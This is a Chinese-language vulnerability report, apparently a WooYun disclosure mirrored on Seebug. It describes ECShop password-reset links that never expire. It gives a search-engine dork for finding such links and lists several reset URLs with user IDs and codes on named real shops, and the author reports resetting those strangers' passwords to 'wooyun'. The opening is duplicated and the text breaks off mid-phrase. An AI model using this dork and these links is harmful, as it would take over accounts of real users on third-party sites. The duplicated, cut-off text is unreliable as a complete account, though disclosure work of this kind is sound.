### 简要描述： 小问题 ### 详细说明： ECShop找回密码功能设计缺陷，修改密码链接没有时效性 可通过搜索引擎搜索关键词 来重置ecshop网站上的部分用户的密码 只是不知道用户名无法登陆，只能盲改密码 谷歌 ``` inurl:user.php?act=get_password&uid= ``` [<img src="https://images.seebug.org/upload/201406/20100405ac1927eaf2a4f89a2f9cc86ae3d1257f.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20100405ac1927eaf2a4f89a2f9cc86ae3d1257f.jpg) 打开一个链接： ``` http://class.enfamily.cn/user.php?act=get_password&uid=277576&code=09d77a40ca80fdfbd33315131e554bb0 ``` [<img src="https://images.seebug.org/upload/201406/20100520fcad7318c1bfef93731d39ca5707f567.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20100520fcad7318c1bfef93731d39ca5707f567.jpg) 随便输入密码 例如：wooyun [<img src="https://images.seebug.org/upload/201406/201006247c5396183a03977f7d0b97cfa4c77f71.jpg" alt="3.jpg" width="600"...
### 简要描述： 小问题 ### 详细说明： ECShop找回密码功能设计缺陷，修改密码链接没有时效性 可通过搜索引擎搜索关键词 来重置ecshop网站上的部分用户的密码 只是不知道用户名无法登陆，只能盲改密码 谷歌 ``` inurl:user.php?act=get_password&uid= ``` [<img src="https://images.seebug.org/upload/201406/20100405ac1927eaf2a4f89a2f9cc86ae3d1257f.jpg" alt="1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20100405ac1927eaf2a4f89a2f9cc86ae3d1257f.jpg) 打开一个链接： ``` http://class.enfamily.cn/user.php?act=get_password&uid=277576&code=09d77a40ca80fdfbd33315131e554bb0 ``` [<img src="https://images.seebug.org/upload/201406/20100520fcad7318c1bfef93731d39ca5707f567.jpg" alt="2.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20100520fcad7318c1bfef93731d39ca5707f567.jpg) 随便输入密码 例如：wooyun [<img src="https://images.seebug.org/upload/201406/201006247c5396183a03977f7d0b97cfa4c77f71.jpg" alt="3.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/201006247c5396183a03977f7d0b97cfa4c77f71.jpg) 已经修改成功，只是不知道用户名无法登陆。 其他搜索引擎 通过bing.com搜索关键词：user.php?act=get_password&uid= [<img src="https://images.seebug.org/upload/201406/20100842fbd1936fdd44277e8296bd38da74f8df.jpg" alt="4.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20100842fbd1936fdd44277e8296bd38da74f8df.jpg) 找几个例子 ``` http://www.yofus.com/user.php?act=get_password&uid=666167&code=e32d1180abe40484c2c3743e2393e5b0 ``` 密码同样改为wooyun [<img src="https://images.seebug.org/upload/201406/2010101904bc77d03f6a046ddffb6a128ae5920e.jpg" alt="5.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2010101904bc77d03f6a046ddffb6a128ae5920e.jpg) [<img src="https://images.seebug.org/upload/201406/201010354f165f4b5ee188b99adf685bf14a1d8d.jpg" alt="6.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/201010354f165f4b5ee188b99adf685bf14a1d8d.jpg) ``` http://www.ziai168.com/user.php?act=get_password&uid=9086&code=f19cea38ba7af425a8d3eea5a0c4beb4 ``` [<img src="https://images.seebug.org/upload/201406/20101147964a0bf216d642122259afa349b260f6.jpg" alt="7.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20101147964a0bf216d642122259afa349b260f6.jpg) [<img src="https://images.seebug.org/upload/201406/20101204294e930310b8f86c53ffb3a9d47cdf44.jpg" alt="8.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20101204294e930310b8f86c53ffb3a9d47cdf44.jpg) ``` http://shop.careland.com.cn/user.php?act=get_password&uid=9163183&code=cad8dd2c08a321666e0da6a5bcc56e85 ``` [<img src="https://images.seebug.org/upload/201406/2010151114c3609e5c76c578c2f9c7020491ca75.jpg" alt="9.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/2010151114c3609e5c76c578c2f9c7020491ca75.jpg) [<img src="https://images.seebug.org/upload/201406/20101528b6ab6995a614c9f9f893020a5f5e9038.jpg" alt="10.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201406/20101528b6ab6995a614c9f9f893020a5f5e9038.jpg) ### 漏洞证明： 综上所述
